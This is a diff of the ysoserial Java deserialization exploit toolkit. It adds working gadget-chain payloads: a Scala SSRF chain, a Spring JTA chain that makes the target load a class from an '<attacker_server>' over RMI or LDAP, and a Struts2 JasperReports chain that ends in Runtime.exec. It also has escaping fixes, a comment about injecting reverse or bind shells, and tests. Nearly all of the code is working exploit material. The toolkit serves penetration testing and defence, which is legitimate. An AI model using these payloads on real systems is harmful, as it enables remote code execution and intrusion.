+    public static class Ssrf extends PayloadRunner implements ObjectPayload<PriorityQueue<Throwable>> {
+        public PriorityQueue<Throwable> getObject(final String url) throws Exception {
+            Class<?> clazz = Class.forName("scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1");
+            Function0<Object> pbf = (Function0<Object>)Reflections.createWithoutConstructor(clazz);
+            Reflections.setFieldValue(pbf, "url$1", new URL(url));
+
+            return createExploit(pbf);
+        }
+    }
+
+	public static void main(final String[] args) throws Exception {
+		PayloadRunner.run(Scala.CreateZeroFile.class, new String[]{"/tmp/poc.txt"});
+        //PayloadRunner.run(Scala.Ssrf.class, new String[]{"http://localhost:7001/foo"});
+	}
+
+}

src/main/java/ysoserial/payloads/SpringJta.java

@@ -0,0 +1,74 @@
+package ysoserial.payloads;
+
+import org.springframework.transaction.jta.JtaTransactionManager;
+
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.PayloadRunner;
+
+/**
+*
+* Gadget chain:
+* 	
+* 	org.springframework.transaction.jta.JtaTransactionManager.readObject()
+* 	org.springframework.transaction.jta.JtaTransactionManager.initUserTransactionAndTransactionManager()
+* 	org.springframework.transaction.jta.JtaTransactionManager.lookupUserTransaction()
+* 		org.springframework.jndi.JndiTemplate.lookup()
+* 			javax.naming.InitialContext.lookup()
+* 
+*
+* Arguments:
+* - (rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>
+*
+*
+* @author zerothoughts
+* 	payload added by sciccone
+* 
+* This gadget was discovered by zerothoughts:
+* https://github.com/zerothoughts/spring-jndi
+* 
+*/
+@PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest")
+@Dependencies( { 
+	"org.springframework:spring-tx:5.1.7.RELEASE", 
+	"org.springframework:spring-context:5.1.7.RELEASE",
+	"javax.transaction:jta:1.1"
+	} )
+@Authors({ Authors.ZEROTHOUGHTS, Authors.SCICCONE })
+public class SpringJta implements ObjectPayload<Object>, DynamicDependencies {
+
+	@Override
+	public Object getObject(String command) throws Exception {
+		
+		// validate command
+        if ( !(command.startsWith("ldap://") || command.startsWith("rmi://")) ) 
+			throw new IllegalArgumentException("Command format is: "
+					+ "(rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>");
+        
+        // create object
+        JtaTransactionManager jta = new JtaTransactionManager();
+		jta.setUserTransactionName(command);
+		
+		return jta;
+	}
+
+	
+    public static void main ( final String[] args ) throws Exception {
+        PayloadRunner.run(SpringJta.class, args);
+    }
+    
+    
+    // add dependencies for testing 
+    public static String[] getDependencies () {
+        return new String[] {
+        	"org.springframework:spring-tx:5.1.7.RELEASE", 
+        	"org.springframework:spring-context:5.1.7.RELEASE",
+        	"org.springframework:spring-beans:5.1.7.RELEASE",
+        	"org.springframework:spring-core:5.1.7.RELEASE",
+        	"commons-logging:commons-logging:1.2",
+        	"javax.transaction:jta:1.1"
+        };
+
+    }
+}

src/main/java/ysoserial/payloads/Struts2JasperReports.java

@@ -0,0 +1,115 @@
+package ysoserial.payloads;
+
+import java.lang.reflect.Constructor;
+import java.util.HashMap;
+
+import org.apache.struts2.views.jasperreports.ValueStackShadowMap;
+
+import com.opensymphony.xwork2.ActionContext;
+import com.opensymphony.xwork2.TextProvider;
+import com.opensymphony.xwork2.config.Configuration;
+import com.opensymphony.xwork2.config.ConfigurationManager;
+import com.opensymphony.xwork2.config.providers.XWorkConfigurationProvider;
+import com.opensymphony.xwork2.conversion.impl.XWorkConverter;
+import com.opensymphony.xwork2.inject.Container;
+import com.opensymphony.xwork2.ognl.OgnlValueStack;
+import com.opensymphony.xwork2.ognl.accessor.CompoundRootAccessor;
+
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.PayloadRunner;
+
+/**
+*
+* Gadget chain:
+* 
+* 
+* 	java/util/HashMap<K,V>.readObject(ObjectInputStream)
+* 	java/util/HashMap<K,V>.putVal(int, K, V, boolean, boolean)
+* 		org/apache/struts2/views/jasperreports/ValueStackShadowMap(AbstractMap<K,V>).equals(Object)
+* 		org/apache/struts2/views/jasperreports/ValueStackShadowMap.get(String)
+* 			com/opensymphony/xwork2/ognl/OgnlValueStack.findValue(String) //keyExpression 
+* 
+* 			Execution of embedded OGNL invoking template.newTrasformer (object put in the valueStack)
+* 
+*  				TemplatesImpl.newTransformer()
+*					TemplatesImpl.getTransletInstance()
+*						TemplatesImpl.defineTransletClasses()
+*							TemplatesImpl.TransletClassLoader.defineClass()
+*								Pwner*(Javassist-generated).<static init>
+*									Runtime.exec()
+*
+*
+* @author sciccone
+*
+*/
+@SuppressWarnings({ "unchecked" })
+@PayloadTest(harness="ysoserial.test.payloads.Struts2JasperReportsTest")
+@Dependencies( { "org.apache.struts:struts2-core:2.5.20", "org.apache.struts:struts2-jasperreports-plugin:2.5.20" } )
+@Authors({ Authors.SCICCONE })
+public class Struts2JasperReports implements ObjectPayload<Object>, DynamicDependencies {
+
+	@Override
+	public Object getObject(String command) throws Exception {
+		
+		// create required objects via reflection
+		Constructor<XWorkConverter> c1 = XWorkConverter.class.getDeclaredConstructor();
+		Constructor<OgnlValueStack> c2 = OgnlValueStack.class.getDeclaredConstructor(
+				XWorkConverter.class, CompoundRootAccessor.class, TextProvider.class, boolean.class);
+		c1.setAccessible(true);
+		c2.setAccessible(true);
+		XWorkConverter xworkConverter = c1.newInstance();
+		OgnlValueStack ognlValueStack = c2.newInstance(xworkConverter,null,null,true);
+		
+		// inject templateImpl with embedded command
+		ognlValueStack.set("template", Gadgets.createTemplatesImpl(command));
+		
+		// create shadowMaps
+		ValueStackShadowMap shadowMap1 = new ValueStackShadowMap(ognlValueStack);
+		ValueStackShadowMap shadowMap2 = new ValueStackShadowMap(ognlValueStack);
+		
+		// execute OGNL "(template.newTransformer()) upon deserialisation
+		String keyExpression = "(template.newTransformer())";
+		shadowMap1.put(keyExpression, null);
+		shadowMap2.put(keyExpression, null);
+		
+        return Gadgets.makeMap(shadowMap1, shadowMap2);
+	}
+	
+    
+    public static void main ( final String[] args ) throws Exception {
+    	initializeThreadLocalMockContainerForTesting();
+    	PayloadRunner.run(Struts2JasperReports.class, args);
+    }
+    
+    
+    /**
+     * Create mock container and mock actionContext,
+     * since a context is required for the payload being triggered upon deserialisation.
+     * Simulates an Apache Struts2 app up and running.
+     */
+    public static void initializeThreadLocalMockContainerForTesting() {
+        ConfigurationManager configurationManager = new ConfigurationManager(Container.DEFAULT_NAME);
+        configurationManager.addContainerProvider(new XWorkConfigurationProvider());
+        Configuration config = configurationManager.getConfiguration();
+        Container container = config.getContainer();
+        
+    	HashMap<String, Object> context = new HashMap<String, Object>();
+    	context.put(ActionContext.CONTAINER, container);
+    	ActionContext.setContext(new ActionContext(context));
+    }
+    
+    // add dependencies for testing a mock struts2 app 
+    public static String[] getDependencies () {
+        return new String[] {
+        	"org.apache.struts:struts2-core:2.5.20", 
+        	"org.apache.struts:struts2-jasperreports-plugin:2.5.20",
+        	"org.apache.logging.log4j:log4j-api:2.11.1",
+        	"ognl:ognl:3.1.21", "org.apache.commons:commons-lang3:3.8.1",
+        	"javassist:javassist:3.12.1.GA"
+        };
+
+    }
+}

src/main/java/ysoserial/payloads/annotation/Authors.java

@@ -15,7 +15,7 @@ public @interface Authors {
     String MBECHLER = "mbechler";
     String JACKOFMOSTTRADES = "JackOfMostTrades";
     String MATTHIASKAISER = "matthias_kaiser";
-    String GEBL = "gebl" ;
+    String GEBL = "gebl";
     String JACOBAINES = "jacob-baines";
     String JASINNER = "jasinner";
     String KULLRICH = "kai_ullrich";
@@ -23,6 +23,14 @@ public @interface Authors {
     String SCRISTALLI = "scristalli";
     String HANYRAX = "hanyrax";
     String EDOARDOVIGNATI = "EdoardoVignati";
+    String YKOSTER = "ykoster";
+    String MEIZJM3I = "meizjm3i";
+    String SCICCONE = "sciccone";
+    String ZEROTHOUGHTS = "zerothoughts";
+    String NAVALORENZO = "navalorenzo";
+    String JANG = "Jang";
+    String ARTSPLOIT = "artsploit";
+    String K4n5ha0 = "k4n5ha0";
 
     String[] value() default {};
 

src/main/java/ysoserial/payloads/util/Gadgets.java

@@ -115,7 +115,7 @@ public class Gadgets {
         // run command in static initializer
         // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
         String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
-            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
+            command.replace("\\", "\\\\").replace("\"", "\\\"") +
             "\");";
         clazz.makeClassInitializer().insertAfter(cmd);
         // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)

src/main/java/ysoserial/payloads/util/Reflections.java

@@ -13,8 +13,18 @@ import com.nqzero.permit.Permit;
 public class Reflections {
 
     public static void setAccessible(AccessibleObject member) {
+        String versionStr = System.getProperty("java.version");
+        int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
+        if (javaVersion < 12) {
           // quiet runtime warnings from JDK9+
           Permit.setAccessible(member);
+        } else {
+          // not possible to quiet runtime warnings anymore...
+          // see https://bugs.openjdk.java.net/browse/JDK-8210522
+          // to understand impact on Permit (i.e. it does not work
+          // anymore with Java >= 12)
+          member.setAccessible(true);
+        }
     }
 
 	public static Field getField(final Class<?> clazz, final String fieldName) {

src/test/java/ysoserial/test/payloads/JRMPReverseConnectTest.java

@@ -51,7 +51,7 @@ public class JRMPReverseConnectTest implements CustomTest {
 
 
     public String getPayloadArgs () {
-        return "rmi:localhost:" + port;
+    	return "rmi://localhost:" + port + "/ExportObject";
     }
 
 }

src/test/java/ysoserial/test/payloads/PayloadsTest.java

@@ -203,7 +203,7 @@ public class PayloadsTest {
         File[] jars = dependencies.length > 0
             ? Maven.configureResolver()
                 .withMavenCentralRepo(true)
-                .withRemoteRepo("jenkins", "http://repo.jenkins-ci.org/public/", "default")
+                .withRemoteRepo("jenkins", "https://repo.jenkins-ci.org/public/", "default")
                 .resolve(dependencies).withoutTransitivity().asFile()
             : new File[0];
         URL[] urls = new URL[jars.length];

src/test/java/ysoserial/test/payloads/Struts2JasperReportsTest.java

@@ -0,0 +1,47 @@
+package ysoserial.test.payloads;
+
+import java.util.HashMap;
+
+import com.opensymphony.xwork2.ActionContext;
+import com.opensymphony.xwork2.config.Configuration;
+import com.opensymphony.xwork2.config.ConfigurationManager;
+import com.opensymphony.xwork2.config.providers.XWorkConfigurationProvider;
+import com.opensymphony.xwork2.inject.Container;
+
+import ysoserial.Deserializer;
+import ysoserial.test.CustomDeserializer;
+
+public class Struts2JasperReportsTest extends CommandExecTest implements CustomDeserializer {
+
+	@Override
+	public Class<?> getCustomDeserializer() {
+		return StrutsJasperReportsDeserializer.class;
+	}
+	
+    /**
+     * need to use a custom deserializer so that the action context gets set in the isolated class
+     *
+     * @author sciccone
+     *
+     */
+    public static final class StrutsJasperReportsDeserializer extends Deserializer {
+        
+		public StrutsJasperReportsDeserializer(byte[] bytes) {
+			super(bytes);
+		}
+    	
+        @Override
+        public Object call () throws Exception {
+            ConfigurationManager configurationManager = new ConfigurationManager(Container.DEFAULT_NAME);
+            configurationManager.addContainerProvider(new XWorkConfigurationProvider());
+            Configuration config = configurationManager.getConfiguration();
+            Container container = config.getContainer();
+            
+        	HashMap<String, Object> context = new HashMap<String, Object>();
+        	context.put(ActionContext.CONTAINER, container);
+        	ActionContext.setContext(new ActionContext(context));
+        	return super.call();
+        }
+    }
+
+}

src/test/java/ysoserial/test/util/GadgetsTest.java

@@ -0,0 +1,14 @@
+package ysoserial.test.util;
+
+import org.junit.Test;
+import ysoserial.payloads.util.Gadgets;
+
+public class GadgetsTest {
+    @Test
+    public void test_createTemplatesImpl_noCompilationError() throws Exception {
+        Gadgets.createTemplatesImpl("hostname");
+        Gadgets.createTemplatesImpl("echo 'foobar'");
+        Gadgets.createTemplatesImpl("echo \"foobar\"");
+        Gadgets.createTemplatesImpl("\"`';\\");
+    }
+}